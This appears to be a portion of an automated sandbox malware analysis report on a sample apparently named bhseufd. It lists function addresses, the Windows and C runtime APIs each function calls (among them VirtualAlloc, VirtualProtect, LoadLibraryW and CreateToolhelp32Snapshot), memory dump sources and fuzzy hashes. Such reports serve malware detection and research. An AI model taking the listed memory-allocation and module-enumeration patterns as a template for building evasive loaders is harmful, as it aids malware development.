Uniqueness Score: -1.00%

Function 0040B4D7 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B4FA
__heap_alloc_base.LIBCMTD ref: 0040B681
_memset.LIBCMT ref: 0040B7C9
_memset.LIBCMT ref: 0040B7E6
_memset.LIBCMT ref: 0040B801

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 3dfc6f3e36190569b0b4ff7e349d6e704dcea01823e43e80363256a8730ba0e2
Instruction ID: a439263005fef0b8d3d380dac63c58c48d0124d45b6a22986d4addc6258dd5b4
Opcode Fuzzy Hash: 3dfc6f3e36190569b0b4ff7e349d6e704dcea01823e43e80363256a8730ba0e2
Instruction Fuzzy Hash: 8AA17A79A002049BDB14DF44DD91BAE77B1FB49304F24826AE5047B3D2D37AAE41CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004190F0 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041917B
__nh_malloc_dbg.LIBCMTD ref: 004192A7

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 227b717b65a4938dca3b8b186e746e293c8ccce7144f318583cd801f0736b70c
Instruction ID: 113629836206ffbcd4345f1d5f211b41ed6e3cb55046783e538fea95cc1e0be7
Opcode Fuzzy Hash: 227b717b65a4938dca3b8b186e746e293c8ccce7144f318583cd801f0736b70c
Instruction Fuzzy Hash: D0E10A74E04248DFDB24CFA8C894BADBBB1BB49314F24C25ED8656B392D7359882CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409630 Relevance: 4.9, APIs: 3, Instructions: 421
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00409649
_memset.LIBCMT ref: 004097B4
LoadLibraryW.KERNELBASE(00844320), ref: 00409966

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID:
API String ID: 3001991562-0
Opcode ID: 65f9f089d26b16b8cabe2456cdfdfe597196be458d729bd9599a003b5564d000
Instruction ID: 8b16d9444cc23eed9f985afb24e616890457e2c85c30fbf8020b75cfe9335872
Opcode Fuzzy Hash: 65f9f089d26b16b8cabe2456cdfdfe597196be458d729bd9599a003b5564d000
Instruction Fuzzy Hash: 43D1C0B6800258BFE7116BB0ADC8EAB776CFB09745B005436F647E2572D6384D858B78

Uniqueness

Uniqueness Score: -1.00%

Function 0040B43F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B439

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 8ebcda0000eecf523cbd085e01e090e350d6b15ac35dbad072ca10934f5ebcd5
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: D301FBB5A00109EBDB04DF54D840BAE73B4EB48304F10816AFD09A7382D339DB51DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B84E Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B8AD
_memset.LIBCMT ref: 0040B8F9

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 42e8d5492dc28c9f593c29e34702e076be01cc6a0543cefd3c95647f8d6435a1
Instruction ID: b14c5a2da7062b727ce9381ca03192c1985c7a5b87aedbcec7922ed36f6b9d2e
Opcode Fuzzy Hash: 42e8d5492dc28c9f593c29e34702e076be01cc6a0543cefd3c95647f8d6435a1
Instruction Fuzzy Hash: A21154B1A40208BBDB04DF94CC82F9E3375EB54704F10856AF909BB2D1E778EA508B99

Uniqueness

Uniqueness Score: -1.00%

Function 00B3D174 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00B3D19C
Module32First.KERNEL32(00000000,00000224), ref: 00B3D1BC

Memory Dump Source

Source File: 00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B38000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b38000_bhseufd.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5fbc54c02a3ef623470d78ae18f226398b42da8d8bb7efc65d15e1a6e98b9152
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: CBF09631200B116FD7203BF5A88DB6E76E8FF49765F2006A8E646A10C0DB70EC454661

Uniqueness

Uniqueness Score: -1.00%

Function 0040952F Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 0040962A

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: babe493c07d8701817ce7865de40c12a77bf11d4f93359591e4cee31efe26c33
Instruction ID: 78093bf69d47a37e1b8a58378b4d5da073084c86d2564db411f963523d8cecce
Opcode Fuzzy Hash: babe493c07d8701817ce7865de40c12a77bf11d4f93359591e4cee31efe26c33
Instruction Fuzzy Hash: BA21436840D2C0D9E702C768BD087913E95572778AF0A80A996C45A2B2D7FB165CCBBF

Uniqueness

Uniqueness Score: -1.00%

Function 00409531 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 0040962A

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1ed43962de46cfa962eea8ff9717189a25da0eb2d605956bd67fc6f16d083c49
Instruction ID: f982f2ee5759c49f71e98fea5c99dd4de667a6318819f9267320e3f122d253e1
Opcode Fuzzy Hash: 1ed43962de46cfa962eea8ff9717189a25da0eb2d605956bd67fc6f16d083c49
Instruction Fuzzy Hash: 7A21546840D2C0D9E702C768BD087913E95572778AF0A80A996C45A2B2D7FB165CCBBF

Uniqueness

Uniqueness Score: -1.00%

Function 00419164 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041917B
__nh_malloc_dbg.LIBCMTD ref: 004192A7

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: f9bf8707853167085b66593613993b00e5ed86952c72447d674ae544adeca308
Instruction ID: c4f57cec82e4bd0dba32cc6c1f0b5ad598e6c7fbc5f644fcfa7b04f801fa35e6
Opcode Fuzzy Hash: f9bf8707853167085b66593613993b00e5ed86952c72447d674ae544adeca308
Instruction Fuzzy Hash: 95E020B1E84308A9E7309AA5580775C7720E744B31F20472FE235362C2D77504404F09

Uniqueness

Uniqueness Score: -1.00%

Function 00412400 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00412407

Part of subcall function 00412330: __crt_wait_module_handle.LIBCMTD ref: 0041237C
Part of subcall function 00412330: RtlEncodePointer.NTDLL(?), ref: 004123B7

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 017c5cb46a1c4d55b1340ad0c3270c38816836f5326e70259e7eaab19cdf7902
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 13A0127244420C23E00020933903B03750C43C0638F080021F91C051422886B5604097

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040AE95

Part of subcall function 0040AEB0: _check_managed_app.LIBCMTD ref: 0040AF2C
Part of subcall function 0040AEB0: __heap_init.LIBCMTD ref: 0040AF36
Part of subcall function 0040AEB0: _fast_error_exit.LIBCMTD ref: 0040AF44
Part of subcall function 0040AEB0: __mtinit.LIBCMTD ref: 0040AF4C
Part of subcall function 0040AEB0: _fast_error_exit.LIBCMTD ref: 0040AF57
Part of subcall function 0040AEB0: __RTC_Initialize.LIBCMTD ref: 0040AF69
Part of subcall function 0040AEB0: ___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
Part of subcall function 0040AEB0: ___setargv.LIBCMTD ref: 0040AF9D
Part of subcall function 0040AEB0: __setenvp.LIBCMTD ref: 0040AFB0
Part of subcall function 0040AEB0: __cinit.LIBCMTD ref: 0040AFC5
Part of subcall function 0040AEB0: __wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2731678867-0
Opcode ID: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction ID: 4163ddfda7dbc0b273293bbe506c37d36eb456cb6e14ae8899fefb7f074ccf43
Opcode Fuzzy Hash: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction Fuzzy Hash: DCA02232080B0C02020033E3200B80B320E08C032C382002FBA0C022032C3CB8A000EF

Uniqueness

Uniqueness Score: -1.00%

Function 00B3CE33 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00B3CE84

Memory Dump Source

Source File: 00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B38000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b38000_bhseufd.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 2e0f37b65ebef2218898086d99f0c553abe42a54873972c98422c2d511c0f75f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 60112B79A00208EFDB01DF98C985E99BFF5AF08351F158094F948AB362D771EA50DB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C68E Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C6D2
_wcscat_s.LIBCMTD ref: 0041C8EA

Part of subcall function 00421870: __invalid_parameter.LIBCMTD ref: 004218E2

__invoke_watson_if_error.LIBCMTD ref: 0041C8F3

Part of subcall function 0040DBB0: __invoke_watson.LIBCMTD ref: 0040DBD1

_wcscat_s.LIBCMTD ref: 0041C922

Part of subcall function 00421870: _memset.LIBCMT ref: 0042194B
Part of subcall function 00421870: __invalid_parameter.LIBCMTD ref: 004219A7

__invoke_watson_if_error.LIBCMTD ref: 0041C92B
__snwprintf_s.LIBCMTD ref: 0041C984

Part of subcall function 0041BFE0: __vsnprintf_s_l.LIBCMTD ref: 0041C002

__invoke_watson_if_oneof.LIBCMTD ref: 0041C9BD
_wcscpy_s.LIBCMTD ref: 0041CA02
__invoke_watson_if_error.LIBCMTD ref: 0041CA0B
__cftoe.LIBCMTD ref: 0041CA7F
__invoke_watson_if_oneof.LIBCMTD ref: 0041CAAE
_wcscpy_s.LIBCMTD ref: 0041CAE6
__invoke_watson_if_error.LIBCMTD ref: 0041CAEF
__itow_s.LIBCMTD ref: 0041C6C9

Part of subcall function 00426280: _xtow_s@20.LIBCMTD ref: 004262AB

__strftime_l.LIBCMTD ref: 0041C789
__invoke_watson_if_oneof.LIBCMTD ref: 0041C7C2
_wcscpy_s.LIBCMTD ref: 0041C807
__invoke_watson_if_error.LIBCMTD ref: 0041C810
_wcscpy_s.LIBCMTD ref: 0041C863
__invoke_watson_if_error.LIBCMTD ref: 0041C86C
_wcscat_s.LIBCMTD ref: 0041C89D
__invoke_watson_if_error.LIBCMTD ref: 0041C8A6

Strings

D\@, xrefs: 0041C850, 0041C856
t9j, xrefs: 0041CD15
h8[@, xrefs: 0041C885
t8j, xrefs: 0041CABD

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: D\@$h8[@$t8j$t9j
API String ID: 2582952045-1301031898
Opcode ID: 963918345a5cea4fbaf53f1cdc3ec32826e5a9e8d9fda7234b9d1b0d275853c1
Instruction ID: 81cb0e77b3d8f54e285990afbedf65501065806c0b51db69b0645a4e9e5a5e59
Opcode Fuzzy Hash: 963918345a5cea4fbaf53f1cdc3ec32826e5a9e8d9fda7234b9d1b0d275853c1
Instruction Fuzzy Hash: D80293B0E80714AADB20EF50DC8ABDF7774AB44705F5440AAF608762C1E7B85AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00416507 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 0041654C
_isdigit.LIBCMTD ref: 00416572
___check_float_string.LIBCMTD ref: 004165D2
__inc.LIBCMTD ref: 004165F0
_isdigit.LIBCMTD ref: 004166A2
___check_float_string.LIBCMTD ref: 00416702
___check_float_string.LIBCMTD ref: 00416689

Part of subcall function 00416C60: __nh_malloc_dbg.LIBCMTD ref: 00416CBD

__inc.LIBCMTD ref: 0041664D

Part of subcall function 00416DC0: __filbuf.LIBCMTD ref: 00416E01

___check_float_string.LIBCMTD ref: 00416796
__inc.LIBCMTD ref: 004167B4
___check_float_string.LIBCMTD ref: 004167F7
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

+, xrefs: 0041680C

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: 014b048f681d4fdb3b66d929bad6f76a06525922ae31ac74c4d31d34e8924367
Instruction ID: dad8b5e91382fb6cc9cc30462607fe6b529ab637752abdb220459a9613cf3a61
Opcode Fuzzy Hash: 014b048f681d4fdb3b66d929bad6f76a06525922ae31ac74c4d31d34e8924367
Instruction Fuzzy Hash: 4DF16FB1D042199BCF14CF99C884AEEBB75AF44308F1481AAD819A7342D739EA84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415FAF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00416001
__inc.LIBCMTD ref: 00416029
__inc.LIBCMTD ref: 0041605C
__un_inc.LIBCMTD ref: 004160E3
_isxdigit.LIBCMTD ref: 0041617D
__hextodec.LIBCMTD ref: 004161B0

Strings

F, xrefs: 0041647B
8, xrefs: 00416395

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: c694fde765daef34fe86b015504b5841358a78d6cc7151bbf1d403a4172b6c69
Instruction ID: 4e8990ed9834d67cabe5cdc1a52b903055c43b73c622471bf65cd64a9ca038d8
Opcode Fuzzy Hash: c694fde765daef34fe86b015504b5841358a78d6cc7151bbf1d403a4172b6c69
Instruction Fuzzy Hash: 1B028EB0D052698BCF25CF64C8943EEBBB1AF15308F1481DAD8196B342D33A9AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004247F9 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
_get_int64_arg.LIBCMTD ref: 004248B0
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

-, xrefs: 00424B1E
9, xrefs: 00424A88

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 73748dadc7ea5df593242549316a037bffe645614e081454c675fba9bebad1a7
Instruction ID: a721a5725b6536229582cc34f6c4b56e6aafc0d91daa9a2dae563fcae3e2e464
Opcode Fuzzy Hash: 73748dadc7ea5df593242549316a037bffe645614e081454c675fba9bebad1a7
Instruction Fuzzy Hash: 9BF14BB1E012298FDB24CF58DC99BAEB7B1FB84304F5481DAD419A7281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3BB Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
_get_int64_arg.LIBCMTD ref: 0042D478
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 530e62bac20449fc3ef16af2ea562a2331bce4f960ca9bf1045f95520d08cb73
Instruction ID: 87f28a10b6e7806872ac3917b900aa704c7eb3b4201bc77d767262b33af21855
Opcode Fuzzy Hash: 530e62bac20449fc3ef16af2ea562a2331bce4f960ca9bf1045f95520d08cb73
Instruction Fuzzy Hash: FDF16CB1E002299FDF24DF58DC81BAEB7B1BF85304F54419AE109A7241D778AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004266F3 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042673B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426771
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426792
wcsncnt.LIBCMTD ref: 004267C9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042682F
_wcslen.LIBCMTD ref: 00426A3F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426A4D

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: fc4f0b37faa7f4946a6c5e9665ee82d9b71174bf5f156293fab80b3a31791081
Instruction ID: 7f75a814af551cf217c73b50f5ce39038cad51a7708300b5ccdc52a67e21c884
Opcode Fuzzy Hash: fc4f0b37faa7f4946a6c5e9665ee82d9b71174bf5f156293fab80b3a31791081
Instruction Fuzzy Hash: 84D12775A00218DFCB08DF94D894BEEB7B1FF85304F60C55AE4126B290DB38AE86DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424557 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042455B
__get_printf_count_output.LIBCMTD ref: 00424569
__invalid_parameter.LIBCMTD ref: 004245F0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00424605
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

-, xrefs: 00424B1E

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: d2fd1506c183ec86f59f6aee48fb561d843edaa370c390d2ac749d9266cd7004
Instruction ID: 09383132ef6e3c52153bc865bd17f4b6936478b15fe0a08a49ab86f91775dfed
Opcode Fuzzy Hash: d2fd1506c183ec86f59f6aee48fb561d843edaa370c390d2ac749d9266cd7004
Instruction Fuzzy Hash: F8A18C70E012298BDB24DF59DC49BAEB7B0EB84305F5481DAE1197B281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004243A5 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004243A9
_strlen.LIBCMT ref: 004243D9
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

I@, xrefs: 004243CC
-, xrefs: 00424B1E

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$I@
API String ID: 2232461714-3662616159
Opcode ID: b90edc0dd67873a46fb1e450923df1b85a198be6749e91246d4e8f32b64ca383
Instruction ID: 5ec596e28ab0c3aa775cf153b4b3aa9d0c12d7adbd6da2cb22896ffdfecb352a
Opcode Fuzzy Hash: b90edc0dd67873a46fb1e450923df1b85a198be6749e91246d4e8f32b64ca383
Instruction Fuzzy Hash: 3CA18F74E012298FDB24CF55DC49BEEB7B0EB84305F5481DAD0196B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415C3C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415C84
__un_inc.LIBCMTD ref: 00415DD8
__inc.LIBCMTD ref: 00415E0A
__inc.LIBCMTD ref: 00415EC9
__mbtowc_l.LIBCMTD ref: 00415F0B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

], xrefs: 00415C9D
, xrefs: 00415E43
{, xrefs: 00415DB2
{, xrefs: 00415E4C

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: a0d6f3a7a88c6dea91ec17ea94e745941b8181ae169e3f2fdeed4f4618f4c2ce
Instruction ID: 733e9da3a28c0a21848e95e8901b80b5ba50e6ecae14809abc89287093d81474
Opcode Fuzzy Hash: a0d6f3a7a88c6dea91ec17ea94e745941b8181ae169e3f2fdeed4f4618f4c2ce
Instruction Fuzzy Hash: A6B1D670D09798CBCF15CBA9D4946EDBBB1AF46304F14C19FE869AB342C2389A81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CF48
_strlen.LIBCMT ref: 0042CF78
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Strings

I@, xrefs: 0042CF6B

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: I@
API String ID: 909868375-3008766272
Opcode ID: bdc4d86da8d88b5b5718f13726f58a4a428b353c620a23b57c7518ac54c68adc
Instruction ID: d366eb7533becbb983f167f1ee50d388e2ade4eaaeb98245f0a6ae04be7ed831
Opcode Fuzzy Hash: bdc4d86da8d88b5b5718f13726f58a4a428b353c620a23b57c7518ac54c68adc
Instruction Fuzzy Hash: 3FA181B0E002289FDB24DF55DC81BAEB7B5BF44304F54819AE61967282D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042D11A Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042D11E
__get_printf_count_output.LIBCMTD ref: 0042D12C
__invalid_parameter.LIBCMTD ref: 0042D1B3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042D1C8
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
